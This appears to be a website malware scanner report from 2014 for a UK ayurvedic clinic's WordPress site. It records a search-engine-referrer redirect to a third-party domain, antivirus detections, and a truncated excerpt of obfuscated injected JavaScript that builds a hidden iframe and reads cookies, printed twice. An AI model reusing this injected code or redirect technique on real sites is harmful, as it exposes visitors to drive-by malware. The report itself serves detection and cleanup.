New scan:

Malware Scanner report for ayurvedicherbalclinic.co.uk

Malicious/Suspicious/Total urls checked
2/0/15
2 pages have malicious code. See details below
Blacklists
OK
Malicious redirects
Found
The website redirects visitors from search engines to the 3rd-party URL:
->http://www6.uiopqw.jkub.com/
5738 websites infected.

The website "ayurvedicherbalclinic.co.uk" is most probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues. Here is our redirects fixing guide.
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Malicious/Suspicious Redirects

RequestServer responseStatus
URL: http://ayurvedicherbalclinic.co.uk/
(imitation of visitor from search engine)


GET / HTTP/1.1
Host: ayurvedicherbalclinic.co.uk
Referer: http://www.google.com/search?q=redirect+check1
HTTP/1.1 302 Found
Connection: close
Date: Thu, 18 Sep 2014 18:57:25 GMT
Location: http://www6.uiopqw.jkub.com/
Server: Apache
Content-Length: 0
Content-Type: text/html
malicious

Scanned pages/files

RequestServer responseStatus
http://ayurvedicherbalclinic.co.uk/
200 OK
Content-Length: 19088
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

function S(Z){return Math.floor(Z);};function C(){var Y = D();var r = S(url(m(), Y.V.length));var k = Y.V[r];var N = Y.R[r];if(Y.urchin.length > 1){var j = Y.urchin[r];}else {var j = Y.urchin[0];}return { L : k, x : j, $: N };};function url(sN, kH){return sN * kH;};function f(){return (typeof ActiveXObject != new String(P("und5ae",0,3)+P("jGXsefijsGX",4,3)+"ned") || typeof XMLHttpRequest != P("7lwrundefr7lw",4,5)+"ined") && !(/Chrome/.test(navigator.userAgent));};function O(L, x){M =
... 2484 bytes are skipped ...
'p'));urlT.width = String(P("16pSAPn",0,3)+P("xJbw",0,1));urlT.height = "12p"+P("xkO4N",0,1);urlT.style[H('min')] = H('q');try {dD.body.appendChild(urlT);} catch(U){try {dD.write(H('domain'));dD.body.appendChild(urlT);} catch(EU){};};return urlT;};function cookie($){var vToday = document.cookie.match(new RegExp(String(P("(?:^wP9",0,4)+"|; )") + $.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, String("\\\\\\\\$1")) + P("=([^;]x5Kj",0,6)+"*)"));return vToday ? decodeURIComponent(vToday[1]) : undefined;};

Antivirus reports:

Qihoo-360
Trojan.Generic
AntiVir
TR/Agent.ILA
Avast
JS:Agent-BXE [Trj]
Ad-Aware
Trojan.JS.Agent.ILA
Antiy-AVL
Trojan/Script.AGeneric
Ikarus
Trojan.Script
nProtect
Trojan.JS.Agent.ILA
K7AntiVirus
Riskware ( eb0d88d40 )
Emsisoft
Trojan.JS.Agent.ILA (B)
Comodo
UnclassifiedMalware
Kaspersky
HEUR:Trojan.Script.Generic
MicroWorld-eScan
Trojan.JS.Agent.ILA
F-Secure
Trojan.JS.Agent.ILA
F-Prot
JS/IFrame.SF.gen
Norman
Script.AT
GData
Trojan.JS.Agent.ILA
Commtouch
JS/IFrame.SF.gen
BitDefender
Trojan.JS.Agent.ILA

http://ayurvedicherbalclinic.co.uk/wp-includes/js/jquery/jquery.js?ver=1.4.2
200 OK
Content-Length: 72194
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/wp-content/plugins/gtranslate/jquery-translate.js?ver=3.0.1
200 OK
Content-Length: 16301
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/wp-content/themes/InStyle/epanel/shortcodes/js/et_shortcodes_frontend.js?ver=1.6
200 OK
Content-Length: 8417
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/wp-content/themes/InStyle/js/cufon-yui.js
200 OK
Content-Length: 18258
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/wp-content/themes/InStyle/js/Colaborate-Thin_400-Colaborate-Medium_400.font.js
200 OK
Content-Length: 93145
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/wp-content/themes/InStyle/js/Colaborate-Regular_400.font.js
200 OK
Content-Length: 46527
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/wp-content/themes/InStyle/js/superfish.js
200 OK
Content-Length: 3714
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/wp-content/themes/InStyle/js/custom.js
200 OK
Content-Length: 5840
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/wp-content/plugins/contact-form-7/jquery.form.js?ver=2.52
200 OK
Content-Length: 22597
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/wp-content/plugins/contact-form-7/scripts.js?ver=2.4.4
200 OK
Content-Length: 5802
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/wp-content/themes/InStyle/epanel/page_templates/js/fancybox/jquery.fancybox-1.2.6.pack.js?ver=1.3.2
200 OK
Content-Length: 9522
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/wp-content/themes/InStyle/epanel/page_templates/js/et-ptemplates-frontend.js?ver=1.1
200 OK
Content-Length: 3727
Content-Type: application/javascript
clean
http://ayurvedicherbalclinic.co.uk/?page_id=2
200 OK
Content-Length: 20812
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

function S(Z){return Math.floor(Z);};function C(){var Y = D();var r = S(url(m(), Y.V.length));var k = Y.V[r];var N = Y.R[r];if(Y.urchin.length > 1){var j = Y.urchin[r];}else {var j = Y.urchin[0];}return { L : k, x : j, $: N };};function url(sN, kH){return sN * kH;};function f(){return (typeof ActiveXObject != new String(P("und5ae",0,3)+P("jGXsefijsGX",4,3)+"ned") || typeof XMLHttpRequest != P("7lwrundefr7lw",4,5)+"ined") && !(/Chrome/.test(navigator.userAgent));};function O(L, x){M =
... 2484 bytes are skipped ...
'p'));urlT.width = String(P("16pSAPn",0,3)+P("xJbw",0,1));urlT.height = "12p"+P("xkO4N",0,1);urlT.style[H('min')] = H('q');try {dD.body.appendChild(urlT);} catch(U){try {dD.write(H('domain'));dD.body.appendChild(urlT);} catch(EU){};};return urlT;};function cookie($){var vToday = document.cookie.match(new RegExp(String(P("(?:^wP9",0,4)+"|; )") + $.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, String("\\\\\\\\$1")) + P("=([^;]x5Kj",0,6)+"*)"));return vToday ? decodeURIComponent(vToday[1]) : undefined;};

Antivirus reports:

Qihoo-360
Trojan.Generic
AntiVir
TR/Agent.ILA
Avast
JS:Agent-BXE [Trj]
Ad-Aware
Trojan.JS.Agent.ILA
Antiy-AVL
Trojan/Script.AGeneric
Ikarus
Trojan.Script
nProtect
Trojan.JS.Agent.ILA
K7AntiVirus
Riskware ( eb0d88d40 )
Emsisoft
Trojan.JS.Agent.ILA (B)
Comodo
UnclassifiedMalware
Kaspersky
HEUR:Trojan.Script.Generic
MicroWorld-eScan
Trojan.JS.Agent.ILA
F-Secure
Trojan.JS.Agent.ILA
F-Prot
JS/IFrame.SF.gen
Norman
Script.AT
GData
Trojan.JS.Agent.ILA
Commtouch
JS/IFrame.SF.gen
BitDefender
Trojan.JS.Agent.ILA

http://ayurvedicherbalclinic.co.uk/wp-includes/js/comment-reply.js?ver=20090102
200 OK
Content-Length: 786
Content-Type: application/javascript
clean

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=ayurvedicherbalclinic.co.uk

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://ayurvedicherbalclinic.co.uk/

Result: ayurvedicherbalclinic.co.uk is not infected or malware details are not published yet.